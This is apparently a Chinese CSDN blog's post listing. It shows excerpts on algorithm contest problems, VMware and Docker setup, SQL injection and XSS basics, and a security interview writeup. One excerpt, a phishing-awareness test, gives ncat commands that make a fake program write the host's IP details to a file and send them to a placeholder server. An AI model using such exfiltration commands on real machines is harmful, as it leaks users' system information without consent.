自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(181)
  • 资源 (5)
  • 收藏
  • 关注

原创 山石网科面经(附参考回答)

吾有一友…base地:福州职位:驻场安服工程师走在上班路上,突然就接到了面试官的电面。过程二十几分钟,没有事先约好时间,面试官没提,没自我介绍就直接开始了。大概问的内容如下:1.xss、ssrf漏洞利用,xxe、反序列化漏洞原理和利用xss漏洞大概说了一下 cookie劫持、键盘记录器、模拟登录、点击劫持、获取浏览器或插件版本信息进一步利用,ssrf就说了主机探测、端口扫描,xxe和反序列化平时遇到的少,没回答好。参考回答:xss漏洞利用:网络钓鱼,盗取账号密码、cookie劫持、刷流量,SEO

2022-04-17 21:48:04 4104 1

原创 SQL注入攻击介绍

SQL注入攻击介绍一、SQL注入攻击简介SQL注入攻击是指,后台数据库操作时,如果拼接外部参数到SQL语句中,就可能导致欺骗服务器执行恶意的SQL语句,造成数据泄露、删库、页面篡改等严重后果。按变量类型分为:数字型、字符型;按HTTP提交方式分为:GET注入、POST注入、Cookie注入;按注入方式分为:报错注入、盲注(布尔盲注、时间盲注)、堆叠注入等等。二、SQL注入分类按变量类型分类:如SQL语句为select *from user where param=1(数字型)、select *fr

2022-03-30 23:33:06 29619 5

原创 XSS跨站脚本攻击介绍

一、XSS漏洞简介  XSS(Cross Site Script)即跨站脚本,攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID等。总而言之,前端能做的事情它都能做到。XSS可分为反射型,存储型和DOM型。

2021-12-05 21:49:01 5220

原创 如何防止社工钓鱼——软件伪造

目的:通过简单的软件伪造,验证是否有防范社工钓鱼的警惕性,确认是否有被钓鱼成功的用户。首先考虑如何确认是否存在被钓鱼成功的用户,初步想法是将主机部分信息写入到文件,再使用ncat传输文件到服务器上。做法如下:# 在服务器上启动 持续接收文件的监听,将接收到的数据写到test.txtncat -lk 666 >test.txt# 钓鱼软件中,写入文件,并将文件传输到服务器上ipconfig | find /i "ipv4"> d:\Readme.txtncat x.x.x.x 6

2021-11-16 23:10:53 858

原创 如何下载历史版本的VMware Workstation Pro

进入VMware所有产品下载页面:https://customerconnect.vmware.com/cn/downloads/#all_products向下翻至底部,能看到VMware Workstation Pro,点击“下载产品”:页面跳转至最新的VMware Workstation Pro版本的下载页,可在“选择版本”下拉栏中选择最近的版本号:下载特定版本也需要先选择版本号,点击“转至下载”,即可选择特定版本:下载需要登录账号,没有账号的需要先注册,登陆后即可下载安

2021-10-24 17:14:58 7633

原创 从CentOS安装到搭建docker tomcat教程

准备材料:VMware workstation安装包、CentOS 7Mini镜像、war包1.安装vmware下载各版本vmware workstationhttps://customerconnect.vmware.com/cn/downloads/info/slug/desktop_end_user_computing/vmware_workstation_pro/16_0网络配置VMware虚拟机下Centos7 桥接方式网络配置完整步骤_威威的专栏-CSDN博客_虚拟机cent

2021-10-20 15:06:54 463

原创 HDU 1711 - Number Sequence

题目大意:序列a,序列b,判断能否在序列a中找到序列b,如果能输出位置,不能输出-1。解题思路:kmp裸题ac代码:#include #define N 1000005using namespace std;int n, m, t, T[N], S[N], Next[N];void get_Next(int a[], int len, int Next[]){ int i

2017-12-23 09:18:42 325

原创 HDU 5904 - LCIS

题目大意:求序列a与序列b的最大连续公共序列。解题思路:动态规划,a[temp]表示序列a以temp为末端的最长连续增大序列的长度。a[temp] = a[temp-1] + 1,这是由于输入序列a第一个数时,以这个数为末端的最长连续增大序列的长度肯定为1,之后序列a中的数,根据记录过temp-1的长度基础+1,如果没有记录过自然也是1,否则则是记录时的长度加1。这就是基于连续的规律。结果就根

2017-12-05 13:04:32 332

原创 SPOJ ADAQUEUE - Ada and Queue

题目大意:有四种操作,back输出队尾,去列尾;front输出队首,去队首;reverse颠倒队列;push_back N尾端插入N;toFront N首端插入N。如果操作失败,也就是队空时,希望输出队首队尾,就输出"No job for Ada?"解题思路:用双向队列,就是简单的调用函数了,颠倒时,也由一个变量标记,使正常接下来的操作尾变头,头变尾。或者模拟,队首队尾分别标记,一个方向变量

2017-12-04 22:06:05 375

原创 HDU 1556 - Color the ball

题目大意:中文题解题思路:根据差分法,做一个差分数组c[],初始为0,每操作一次,a~b则,c[a]++,c[b+1]--。sum[i]=c[1]+c[2]+...+c[i],就表示第i个气球刷了几次。ac代码:#include #include using namespace std;int main(){ int n, a, b, re[100005]; while (

2017-12-04 21:45:44 305

原创 ACdream 1073 - 雷霆战机

题目大意:中文题解题思路:根据风风的习惯,就是如果有能够升一星的就选能升一星的最低经验球,否则就选经验最大的使用。看懂以后就明白了,先排序,然后用贪心模拟风风的做法。ac代码:#include #include #include #include using namespace std;int main(){ int n, level[4], ex[1005], vis[

2017-12-04 21:44:16 314

原创 HDU 3248 - Strange Clock

题目大意:一个钟,时针初始指向三点,设此时为0°,时针逆时针转动x°,问此时时针指向几点或指向几点到几点之间。ps没有十二点。解题思路:度数对30取整,取整后乘30与原度数一致也说明指向几点,否则为几点到几点之间。再处理一下((3-取整结果+12-1)%12) 以及12点钟的情况差不多就解决了。ac代码:#include using namespace std;int main(

2017-12-04 21:41:38 408

原创 HDU 1166 - 敌兵布阵

题目大意:中文题解题思路:因为数据量比较大, 普通暴力算法肯定会超时,采用线段树或者树状数组,这里用树状数组解答。树状数组的基本入门我是看了这个博客的还算挺清楚的,一个地方可能是我理解偏差,lowbit(x)计算的2*k代表的应该是,二进制下从最低位往最高位找出现的第一个1代表的数的大小。看过以后就很清晰了ac代码:#include #include using namespace

2017-12-01 21:07:20 259

原创 HDU 5916 - Harmonic Value Description

题目大意:有t个样例,每个样例,输入n和k,其中n代表一段序列为1,2,3...n的标准序列,k代表第k小的序列。输出这个序列,序列的值根据公式计算,公式的意思为每相邻两个数的最大公约数的累积和。解题思路:标准序列必然为最小序列且值为n-1(同值序列不唯一),易发现相邻的奇数最小公约数也为1,而相邻的偶数最小公约为为2,根据题目又发现2k≤n,也就是所可能求最大的序列的值为n+2k-2,而每次

2017-11-30 20:08:11 271

原创 HDU 5914 - Triangle

题目大意:有t个样例,每个样例输入一个n,表示有编号1~n根木棒,每根木棒长度与编号相同,问最少去掉几根木棒能使得剩余的木棒不能组成三角形。解题思路:斐波那契数列,数列中任意取三根都构不成三角形,根据其定义公式,已经构成三角形的条件可证。且这就是剩余最优的情况。例如:(3:1,2,3其中1,2,3都在数列内,所以为3-3=0;7:其中1,2,3,5都在数列内,所以7-4=3),打表做。ac

2017-11-30 19:37:18 286

原创 HDU 5912 - Fraction

题目大意:输入n,输入a1,a2,a3...an。输入b1,b2,b3....bn。输出按公式的计算结果。解题思路:用递归,初始化a0 = 0,从最下层保存分子分母,每次计算分子分母,最后进行化简。ac代码:#include using namespace std;int t, n, a[16], b[16], temp1, temp2, temp3, cnt=1;void df

2017-11-30 19:18:50 291

原创 51Nod 1096 - 距离之和最小

题目大意:中文题解题思路:把所有数排序以后,找中位数,既是所需要找到点。注意要long long 保存结果证明如下:我们可以想象现在x轴上有n个点,我们设定的目标点在最左边,那么可以算出距离总和ans。目标点往右移动1,相当于ans+左边点数-右边点数。那么目标点到达正中央(或中央两点之间)前,ans单调递减(左边点 边点>右边点)由此,目标点为中位数点

2017-11-29 17:42:54 377

原创 POJ 1511 - Invitation Cards

题目大意:有编号从一号到n号的n个点,m条路,问从一号到其他点,再从其他点回到一号,每个点都要走一次,问总路程最短多少。解题思路:因为数据量很大,用一般的dijkstra的话,二维数组也太大了,开不了。所以用spfa求。首先要学用邻接表示图,这样省空间,省时间,先看这篇博客学习一下(http://ahalei.blog.51cto.com/4767671/1391988)然后spfa的方法就是

2017-09-29 19:07:24 285

原创 HDU 1217 - Arbitrage

题目大意:有n种货币,有m家交易点,每个交易点只支持一种货币兑换另一种货币。问是否能够通过兑换货币变得更富有。解题思路:与POJ1860是类似的,用bellman_ford算法,交易只能单向交易,初始化其中某种货币为1,要更富有,松弛往大松弛。经过n次的松弛操作,如果还能继续松弛说明可以变得更富有。ac代码:#include #include #include #include

2017-09-27 07:52:00 267

原创 UVA 423 - MPI Maelstrom

题目大意:输出n,表示有n个点,完整的图为一个矩阵,相当于二维数组a[n][n]的样子,a[i][j]就是i点到j点的距离。其中只给出了下三角,x表示亮点直接不连通。输出用最短方式从1走到其他点,其中最远的距离。解题思路:dijkstra,最基本的单源点问题。ac代码:#include #include #define inf 100005using namespace std;

2017-09-24 22:23:41 267

原创 POJ 1797 - Heavy Transportation

题目大意:有t个样例,每个样例要求从1走到n,有m条路,每条路信息包括路的两端点,以及通过这段路的时间。求走到n使得走的各段路的最小值为最大的。解题思路:dijkstra,修改一下寻找的。dis[i]表示走到i各段路的最小值的最大。初始化为0,先找出距离起点最远的,用最远的进行松弛,松弛操作改变一下就可以了。ac代码:#include #include #include usin

2017-09-22 15:09:08 264

原创 POJ 1860 - Currency Exchange

题目大意:一个城市里有N种货币,编号从1~N,有M个货币交换点,每个交换点支持两种货币之间的交换,包括6个数据,第一种货币A,第二种货币B,A换成B的汇率,A换成B的佣金,B换成A的汇率,B换成A的佣金。一个人有V单位的编号为S的货币。问他是否能够通过交换点,使得自身的货币增多。交换点规则如下:A->B汇率为29.75,佣金为0.37。有100单位的A货币,则换成B有(100 - 0.39)

2017-09-06 16:05:16 235

原创 POJ 1847 - Tram

题目大意:有N个开关,第i个开关就是将第i条路转向其他路的开关。要从A到B,最少需要转几次开关。每一个开关输出第一个数K,表示这个开关可以转向K条路,第一条不需要转开关,其他的K-1条都需要转一次开关才能转换到。解题思路:数据量小,用floyd,每个开关的第一条路,权值为0,其他权值为1。最后输出A到B的最小权值即可,如果没有这样的一种方式,也就是A到B的权值为初始化的inf,则输出-1。

2017-09-06 16:03:56 252

原创 POJ 3660 - Cow Contest

题目大意:有N头牛,编号从1~N,每头牛有各自的实力,他们之间比了M场,实力强的总会获胜。现在按实力排名,你能确定有几头牛的排名。解题思路:要确定一头牛的排名,说明要知道他跟除他外的所有牛的比赛结果。因为N最多100,数据量不大。用floyd传递闭包解。ac代码:#include #include using namespace std;int n, m, w[105][

2017-09-06 16:03:14 253

原创 POJ 3259 - Wormholes

题目大意:有一个农夫有F个农场,每个农场里有N个农田,农田之间有M条道路,每条道路都是双向的,每条道路信息包括起点,终点,从起点到终点需要的时间。有W个虫洞,进入虫洞所在的农田就会穿越到指定的农田,并且时间回到x秒以前。农夫是个狂热的时空旅行迷,他想知道他能否借助虫洞碰到他自己。解题思路:floyd是可以ac的,但是稍不限制就会超时。用bellman ford的算法,任意一个起点出发,虫洞

2017-09-06 16:02:42 296

原创 UVA 534 - Frogger

题目大意:有n块石头,A在第一块石头,B在第二块石头上。问,A要到B位置,他的跳跃距离至少要多少。解题思路:dijkstra,要使跳跃距离最小,也就是A到B的路径中最大的距离最小。将d[i]定义为A到第i块石头最小的跳跃距离。在松弛时修改条件就可以了。ac代码:#include #include #include #define INF 200005using name

2017-09-06 16:02:08 305

原创 POJ 3268 - Silver Cow Party

题目大意:有N头牛住在编号1~N的房子,一共有M条单向道路,每条路包括起点、终点、时间,有一天,所有牛要到编号X的房子聚会,聚会结束后要回自己房子,问所有牛中走的最远的需要走多久。所有牛都走自己所能走的最短路。解题思路:如果用floyd会超时,用两次dijkstra就可以了,第一次是所有牛从X回到自己房子的最短路,就是单源点,第二次是所有牛到X,如果把所有的路都反向来看,结果就也是从X回到

2017-09-06 16:01:18 249

原创 POJ 2387 - Til the Cows Come Home

题目大意:由1走到n的最短时间,t条路,每条路包括两个点,以及从一点走到另一点需要花的时间。解题思路:dijkstra算法。做法是这样的,首先初始化,将所有的点之间的距离初始化为INF,以及除了起点1以外的与起点的距离也初始化为INF。输入的距离与此时两点之间的距离取小更新为两点之间的距离(之后的输入可能有更短的距离),算法循环n次,每次查找一个到起点的最短距离,并标记,下次不会再取同一点

2017-09-06 16:00:42 237

原创 HDU 1198 - Farm Irrigation

题目大意:有11种水管放置的方式,给一个m*n的大农田,每块小农田有各自的水管放置方式,问至少需要多少个水源才能让所有小农田都有水流过其中的水管。解题思路:dfs将11种方式的上下左右可通表示出来,如果其某个方向的放置放置可以与其对接就进入下一层并标记。并查集方式类似,将11种方式的上下左右可通表示出来,如果其某个方向的放置放置可以与其对接就合并,最后判断有几个集合。dfs方法ac

2017-09-06 15:59:59 251

原创 CodeForces 567B - Berland National Library

题目大意:一个图书馆入口系统,可以识别进入人的id以及离开人的id。现在一段记录‘+’表示进入,‘-’表示离开,后面跟着id。问根据这个记录,推出图书馆最少可以容纳多少人。解题思路:初始容纳人数为0,如果在累积进入n人之前没有n个人离开图书馆,则图书馆的容纳人数要加一。如果进入累积n人之前有n个人离开,则容纳人数不加一。如果有人离开,判断离开的人是否之前进入的,如果是,说明不用额外记录,否

2017-09-06 15:59:18 268

原创 HDU 1856 - More is better

题目大意:给出n对朋友关系,朋友的朋友就是朋友,问最大的朋友圈有多少人。解题思路:并查集,多一个计数的数组,初始时,每个人都是个体,为1。归并时累加,查找时不用变动。多一个标记数组,标记那些编号有参与。ac代码:#include #include #include using namespace std;int n, pre[10000005], t1[100005],

2017-09-06 15:58:34 217

原创 UVA 208 - Firetruck

题目大意:输出从1走到n的所有方式。给出了不同数字之间存在道路可以走,给的数字可能超过n。解题思路:dfs+bfs。单独用dfs来找路的话会超时,需要bfs来剪枝。剪纸的方式为,从n开始找所有连通的标记一下。题目样例给的格式是假的。。。其实路径的一行之间输,每两个号之间一个空格。ac代码:#include #include #include using namespace

2017-09-06 15:58:01 248

原创 POJ 3186 - Treats for the Cows

题目大意:有n头牛排着队,每天从头或为取一只牛出来卖,能卖出的价格为牛的价值乘上这是第几天,求把n头牛卖出最多能得到多少钱。解题思路:不能用贪心,因为当存在首尾价值一样的,会出问题。用dp看题解的。。。dp[i][j]表示从头取了i个,从尾取了j个时的最大价值。所以i+jac代码:#include #include using namespace std;int valu

2017-09-06 15:56:05 249

原创 HDU 1829 - A Bug‘s Life

题目大意:有n只虫子,m对情侣,问其中是否有同性恋,一般虫子异性恋。解题思路:与食物链那题有些相似,但又比那题简单许多。因为只有两种关系了,0为同性,1为异性,所以查找和合并时的关系变更尝试推一下就出来了。具体的详讲看POJ-1182ac代码:#include #include using namespace std;struct node{ int pre; int

2017-09-06 15:55:32 260

原创 HDU 1325 - Is It A Tree?

题目大意:判断根据关系能否建成一棵树。解题思路:,与HDU1272一致,就改动一下输出内容,因为一棵树的子节点不可能有多个父节点,一个集合的最高级就默认为树的根,如果有多个集合或其中有节点的关系之前被确认过,也就是已经成为某个节点的子节点以后就不能在成为其他的子节点。ac代码:#include #include using namespace std;int flag,

2017-09-06 15:54:54 265

原创 HDU 1272 - 小希的迷宫

题目大意:中文题解题思路:并查集,如果输入的两个点的关系之前已经确定而在一个集合里了,就说明出错了,造成多个通路可以到达,只输入0 0要是Yes,且要保证意两个房间有且仅有一条路径。也就是最后都在一个集合内。ac代码:#include #include using namespace std;int flag, n, m, pre[100005], vis[100005]

2017-09-06 15:54:22 225

原创 POJ 1182 - 食物链

题目大意:中文题。解题思路:这题只有一个样例,如果按文件结束跳出循环的话就WA。做法是这样的将每只动物定义为一个结构体,结构体包括了此动物的上级,以及与上级的关系(0:同类,1:被吃,2:吃上级)。初始时,所有动物的上级是自身,与上级都是同类。前两个条件很容易判断不说了,最后一个条件与前面的关系有矛盾才是重点。有矛盾的情况分两种判断,一:两动物归为同类时有矛盾;如果两只动物的最上级

2017-09-06 15:53:09 236

原创 HDU 1213 - How Many Tables

题目大意:邀请n个人,要几张桌子,桌子特别大,多少人都坐的过。同一张桌子必须都是朋友,朋友的朋友也是朋友。解题思路:与HDU1232几乎是一样的。ac代码:#include #include using namespace std;int t, n, m, pre[1005], t1, t2;set int>se;int find(int x){ int r=x

2017-09-06 15:52:29 250

原创 POJ 2236 - Wireless Network

题目大意:有n台电脑编号从1~n,都报废了,每台电脑有个坐标,如果两台电脑都是好的,他们距离小于d就能通讯了。有两种操作,O x表示修x号电脑,S x1 x2表示问你x1和x2能不能间接或直接的取得通讯。解题思路:O和0傻傻分不清。。。并查集解,每修好一台电脑,就去尝试找可以通讯的电脑(同样未报废)。pre[i]=0表示电脑报废的。ac代码:#include #include

2017-09-06 15:51:47 253

原创 POJ 1611 - The Suspects

题目大意:有编号为0~n-1的n个人,其中编号0中了SARS,如果跟他同一组就也会得病,问一共有多少人得病。输入m组,每组的成员。只有有同一个组员,则两个组是同一个组。解题思路:并查集基础,只是因为0号得病,所以0号作为最上级的话便于查找,所以在合并时要考虑是否其中某个的上级为0,如果有,则合并时注意将另一个的上级的上级改为0。ac代码:#include using name

2017-09-06 15:51:05 231

ERP课程作业-仓储管理系统

ERP课程作业-仓储管理系统

2021-01-06

Oracle课程设计-购物平台.7z

买家拥有功能: 登录买家平台 可以查看商品信息 可以选择商品件数,加入购物车,对购物车的商品件数进行修改 对购物车的商品下单,且付款 查询历史订单情况 卖家拥有功能: 登录卖家平台 可以查看库存情况 可以选择订单,查看详情 选择订单进行接单 可以选择商品件数,加入采购车,对采购车的商品件数进行修改 对采购车的商品下单,且付款 查询账单记录

2021-01-06

编程实现一个简单的shell

编程实现一个简单的shell(C语言)

2021-01-06

网络安全原理与技术——文本数字水印的设计与实现

数字水印技术,是指在数字化的数据内容中嵌入不明显的记号。被嵌入的记号通常是不可见或不可察的,但是通过一些计算操作可以被检测或被提取。水印与源数据(如图像、音频、视频、文本等)紧密结合并隐藏其中,成为源数据不可分离的一部分,并可以经历一些不破坏源数据使用价值或商用价值的操作而保留下来。

2021-01-06

学生成绩管理程序(shell版)

对学生成绩进行管理。要求实现数据的基本操作:学院和学生信息以及学生成绩的增加,修改,删除,统计。 程序功能:要求实现4个功能,每个功能作为一个函数 1.向文件中插入记录 2.显示文件中的每条记录的每个字段值 3.从文件中修改制定学号的记录 4.对学生成绩进行统计(包括每个学生总成绩;每个学科前3名和总成绩前5名统计)

2019-02-16

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除